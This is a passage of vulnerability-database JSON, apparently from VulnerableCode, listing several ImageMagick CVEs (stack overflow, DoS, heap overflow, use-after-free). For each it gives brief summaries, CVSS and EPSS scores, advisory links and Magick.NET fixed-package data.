0x7ffdf667edf0 sp 0x7ffdf667ede0\nWRITE of size 1 at 0x5210000088ff thread T0\n```","references":[{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/f5049954f12c6fcf090a776767526d2a4708d58b","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/f5049954f12c6fcf090a776767526d2a4708d58b"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-2gq3-ww97-wfjm","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-2gq3-ww97-wfjm"},{"reference_url":"https://github.com/advisories/GHSA-2gq3-ww97-wfjm","reference_id":"GHSA-2gq3-ww97-wfjm","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-2gq3-ww97-wfjm"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["GHSA-2gq3-ww97-wfjm"],"risk_score":1.6,"exploitability":"0.5","weighted_severity":"3.3","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-anyp-2jr7-73a1"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/24109?format=json","vulnerability_id":"VCID-b43n-3d1g-u3fe","summary":"ImageMagick's failure to limit MVG mutual causes Stack Overflow\nMagick fails to check for circular references between two MVGs, leading to a stack overflow.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-68950.json","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-68950.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-68950","reference_id":"","reference_type":"","scores":[{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06645","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.0665","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06636","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06625","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06475","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06467","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06474","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06553","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06512","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06462","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06532","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06438","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06541","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00024","scoring_system":"epss","scoring_elements":"0.06548","published_at":"2026-04-11T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-68950"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68950","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68950"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/204718c2211903949dcfc0df8e65ed066b008dec","reference_id":"","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-12-30T18:09:01Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/commit/204718c2211903949dcfc0df8e65ed066b008dec"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2426284","reference_id":"2426284","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2426284"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68950","reference_id":"CVE-2025-68950","reference_type":"","scores":[{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68950"},{"reference_url":"https://github.com/advisories/GHSA-7rvh-xqp3-pr8j","reference_id":"GHSA-7rvh-xqp3-pr8j","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-7rvh-xqp3-pr8j"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7rvh-xqp3-pr8j","reference_id":"GHSA-7rvh-xqp3-pr8j","reference_type":"","scores":[{"value":"4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"4.0","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-12-30T18:09:01Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7rvh-xqp3-pr8j"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67185?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.1","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-569d-6nue-5kbq"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6meg-yjby-a7gj"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-h221-qd8d-tqa5"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-vaks-d4k5-zue7"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.1"}],"aliases":["CVE-2025-68950","GHSA-7rvh-xqp3-pr8j"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-b43n-3d1g-u3fe"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21980?format=json","vulnerability_id":"VCID-b5pd-kk97-gban","summary":"ImageMagick: Converting multi-layer nested MVG to SVG can cause DoS\nMagick fails to check for multi-layer nested mvg conversions to svg, leading to DoS.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24484.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24484.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-24484","reference_id":"","reference_type":"","scores":[{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04489","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04468","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04498","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04515","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.0453","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04541","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04477","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04524","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04716","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.0469","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04656","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04614","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17539","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-24484"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24484","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24484"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:41:00Z/"}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/0349df6d43d633bd61bb582d1e1e87d6332de32a","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:41:00Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/commit/0349df6d43d633bd61bb582d1e1e87d6332de32a"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wg3g-gvx5-2pmv","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:41:00Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wg3g-gvx5-2pmv"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24484","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24484"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442085","reference_id":"2442085","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442085"},{"reference_url":"https://github.com/advisories/GHSA-wg3g-gvx5-2pmv","reference_id":"GHSA-wg3g-gvx5-2pmv","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-wg3g-gvx5-2pmv"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-24484","GHSA-wg3g-gvx5-2pmv"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-b5pd-kk97-gban"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22850?format=json","vulnerability_id":"VCID-bw4q-dt1r-y3e4","summary":"ImageMagick has heap-based buffer overflow in UHDR encoder\nA heap-based buffer overflow in the UHDR encoder can happen due to truncation of a value and it would allow an out of bounds write.\n\n```\n================================================================\n==2158399==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x521000039500 at pc 0x562a4a42f968 bp 0x7ffcca4ed6c0 sp 0x7ffcca4ed6b0\nWRITE of size 1 at 0x521000039500 thread T0\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30931.json","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-30931.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30931","reference_id":"","reference_type":"","scores":[{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02791","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02787","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02779","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02811","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00015","scoring_system":"epss","scoring_elements":"0.02764","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03928","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04071","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04026","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04019","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.04009","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03889","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03878","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03945","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00017","scoring_system":"epss","scoring_elements":"0.03899","published_at":"2026-04-13T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-30931"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"8.6","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.4"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-h95r-c8c7-mrwx","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-03-10T14:53:03Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-h95r-c8c7-mrwx"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30931","reference_id":"","reference_type":"","scores":[{"value":"6.8","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-30931"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445900","reference_id":"2445900","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2445900"},{"reference_url":"https://github.com/advisories/GHSA-h95r-c8c7-mrwx","reference_id":"GHSA-h95r-c8c7-mrwx","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-h95r-c8c7-mrwx"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/1060799?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.4","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.4"}],"aliases":["CVE-2026-30931","GHSA-h95r-c8c7-mrwx"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-bw4q-dt1r-y3e4"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21017?format=json","vulnerability_id":"VCID-cbqr-aybx-d3e6","summary":"ImageMagick has Use After Free in MSLStartElement in \"coders/msl.c\"\nA crafted MSL script triggers a heap-use-after-free. The operation element handler replaces and frees the image while the parser continues reading from it, leading to a UAF in ReadBlobString during further parsing.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25983.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25983.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25983","reference_id":"","reference_type":"","scores":[{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.08115","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.08147","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.08193","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.08141","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.08209","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.08227","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.08218","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.08197","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.0818","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.08076","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.08062","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.0822","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.0819","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00029","scoring_system":"epss","scoring_elements":"0.08151","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25983"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25983","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25983"},{"r